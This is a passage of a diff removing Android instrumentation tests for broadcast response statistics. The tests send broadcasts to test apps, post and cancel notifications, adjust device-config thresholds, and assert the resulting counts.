- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Trigger a notification from test app and verify notification-posted count gets
- // incremented.
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 1 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Send the broadcast again after clearing counts and verify counts get incremented
- // as expected.
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_2));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 1 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
- testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 2 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 1 /* notificationUpdatedCount */,
- 1 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @MediumTest
- @Test
- public void testBroadcastResponseStats_changeResponseWindowDuration() throws Exception {
- final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(2);
- try (DeviceConfigStateHelper deviceConfigStateHelper =
- new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
- updateFlagWithDelay(deviceConfigStateHelper,
- KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
- String.valueOf(broadcastResponseWindowDurationMs));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Trigger a notification from test app and verify notification-posted count gets
- // incremented.
- testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 1 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
- mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- SystemClock.sleep(broadcastResponseWindowDurationMs);
- // Trigger a notification from test app but verify counts do not get
- // incremented as the notification is posted after the window durations is expired.
- testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_appNotInForeground() throws Exception {
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- try (DeviceConfigStateHelper deviceConfigStateHelper =
- new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
- final TestServiceConnection connection = bindToTestServiceAndGetConnection();
- try {
- updateFlagWithDelay(deviceConfigStateHelper,
- KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
- String.valueOf(ActivityManager.PROCESS_STATE_TOP));
-
- ITestReceiver testReceiver = connection.getITestReceiver();
- testReceiver.cancelAll();
-
- // Send a broadcast with a request to record response and verify broadcast-sent
- // count gets incremented.
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Bring the test app to the foreground, send the broadcast again and verify that
- // counts do not change.
- launchTestActivityAndWaitToBeResumed(TEST_APP_PKG, TEST_APP_CLASS);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 1 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- // Change the threshold to something lower than TOP, send the broadcast again
- // and verify that counts get incremented.
- updateFlagWithDelay(deviceConfigStateHelper,
- KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
- String.valueOf(ActivityManager.PROCESS_STATE_PERSISTENT));
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 2 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- mUiDevice.pressHome();
- // Change the threshold to a process state higher than RECEIVER, send the
- // broadcast again and verify that counts do not change.
- updateFlagWithDelay(deviceConfigStateHelper,
- KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
- String.valueOf(ActivityManager.PROCESS_STATE_HOME));
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
- 2 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
- assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
- 0 /* broadcastCount */,
- 0 /* notificationPostedCount */,
- 0 /* notificationUpdatedCount */,
- 0 /* notificationCancelledCount */);
-
- testReceiver.cancelAll();
- } finally {
- connection.unbind();
- }
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_multiplePackages() throws Exception {
- final ArrayMap<String, BroadcastResponseStats> expectedStats = new ArrayMap<>();
- // Initially all the counts should be empty
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
- final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
- final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
- try {
- ITestReceiver testReceiver1 = connection1.getITestReceiver();
- ITestReceiver testReceiver3 = connection3.getITestReceiver();
- ITestReceiver testReceiver4 = connection4.getITestReceiver();
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
- testReceiver4.cancelAll();
-
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final Intent intent3 = new Intent().setComponent(new ComponentName(
- TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final Intent intent4 = new Intent().setComponent(new ComponentName(
- TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-
- // Send a broadcast to test-pkg1 with a request to record response and verify
- // broadcast-sent count gets incremented.
- final BroadcastOptions options = BroadcastOptions.makeBasic();
- options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
- expectedStats.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- // Send a broadcast to test-pkg3 with a request to record response and verify
- // broadcast-sent count gets incremented.
- sendBroadcastAndWaitForReceipt(intent3, options.toBundle());
- expectedStats.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStats.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- // Trigger a notification from test-pkg1 and verify notification-posted count gets
- // incremented.
- testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- expectedStats.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- // Trigger a notification from test-pkg3 and verify notification-posted count gets
- // incremented.
- testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- expectedStats.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- // Send a broadcast to test-pkg1 with a request to record response and verify
- // broadcast-sent count gets incremented.
- sendBroadcastAndWaitForReceipt(intent, options.toBundle());
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_2));
- expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStats.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- // Trigger a notification from test-pkg3 and verify stats remain the same
- testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- // Send a broadcast to test-pkg4 with a request to record response and verify
- // broadcast-send count gets incremented.
- sendBroadcastAndWaitForReceipt(intent4, options.toBundle());
- testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
- expectedStats.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStats.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStats.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
- expectedStats.clear();
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
- testReceiver4.cancelAll();
- } finally {
- connection1.unbind();
- connection3.unbind();
- connection4.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_multiplePackages_multipleIds() throws Exception {
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
- // Initially all the counts should be empty
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
- final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
- final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
- try {
- ITestReceiver testReceiver1 = connection1.getITestReceiver();
- ITestReceiver testReceiver3 = connection3.getITestReceiver();
- ITestReceiver testReceiver4 = connection4.getITestReceiver();
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
- testReceiver4.cancelAll();
-
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final Intent intent3 = new Intent().setComponent(new ComponentName(
- TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final Intent intent4 = new Intent().setComponent(new ComponentName(
- TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-
- final BroadcastOptions options1 = BroadcastOptions.makeBasic();
- options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- final BroadcastOptions options2 = BroadcastOptions.makeBasic();
- options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
- // Send a broadcast to test-pkg1 with a request to record response and verify
- // broadcast-sent count gets incremented.
- sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
- sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
- // Trigger a notification from test-pkg1 and verify notification-posted count gets
- // incremented.
- testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
- expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_2));
- expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- mUsageStatsManager.clearBroadcastEvents();
- // Trigger a notification from test-pkg4 and verify notification-posted count gets
- // incremented.
- testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- sendBroadcastAndWaitForReceipt(intent4, options2.toBundle());
- expectedStatsForId2.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
- TEST_RESPONSE_STATS_ID_2));
- expectedStatsForId2.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
-
- testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
- testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
- expectedStatsForId2.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
- expectedStatsForId1.clear();
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
- testReceiver4.cancelAll();
- } finally {
- connection1.unbind();
- connection3.unbind();
- connection4.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_clearCounts_multiplePackages() throws Exception {
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
- // Initially all the counts should be empty
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
- final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
- try {
- ITestReceiver testReceiver1 = connection1.getITestReceiver();
- ITestReceiver testReceiver3 = connection3.getITestReceiver();
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
-
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final Intent intent3 = new Intent().setComponent(new ComponentName(
- TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final BroadcastOptions options1 = BroadcastOptions.makeBasic();
- options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- final BroadcastOptions options2 = BroadcastOptions.makeBasic();
- options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
- testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
- testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
- TEST_NOTIFICATION_CHANNEL_DESC);
-
- // Send a broadcast to test-pkg1 with a request to record response and verify
- // broadcast-sent count gets incremented.
- sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
- sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
-
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
- testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_1));
-
- expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_1));
- expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
- expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
- sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
- testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
- buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
- TEST_NOTIFICATION_TEXT_2));
- testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
-
- expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
- expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
- TEST_RESPONSE_STATS_ID_2));
- expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
- expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
-
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
- TEST_RESPONSE_STATS_ID_1);
- expectedStatsForId1.clear();
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
- TEST_RESPONSE_STATS_ID_2);
- expectedStatsForId2.clear();
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
- } finally {
- connection1.unbind();
- connection3.unbind();
- }
- }
-
- @AppModeFull(reason = "No broadcast message response stats in instant apps")
- @Test
- public void testBroadcastResponseStats_clearCounts_multipleIds() throws Exception {
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
- final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
- // Initially all the counts should be empty
- assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
- assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
- final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
- final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
- try {
- ITestReceiver testReceiver1 = connection1.getITestReceiver();
- ITestReceiver testReceiver3 = connection3.getITestReceiver();
-
- testReceiver1.cancelAll();
- testReceiver3.cancelAll();
-
- final Intent intent = new Intent().setComponent(new ComponentName(
- TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final Intent intent3 = new Intent().setComponent(new ComponentName(
- TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
- final BroadcastOptions options1 = BroadcastOptions.makeBasic();
- options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
- final BroadcastOptions options2 = BroadcastOptions.makeBasic();
- options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
- testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
- TEST_NOTIFICATION_CHANNEL_NAME,
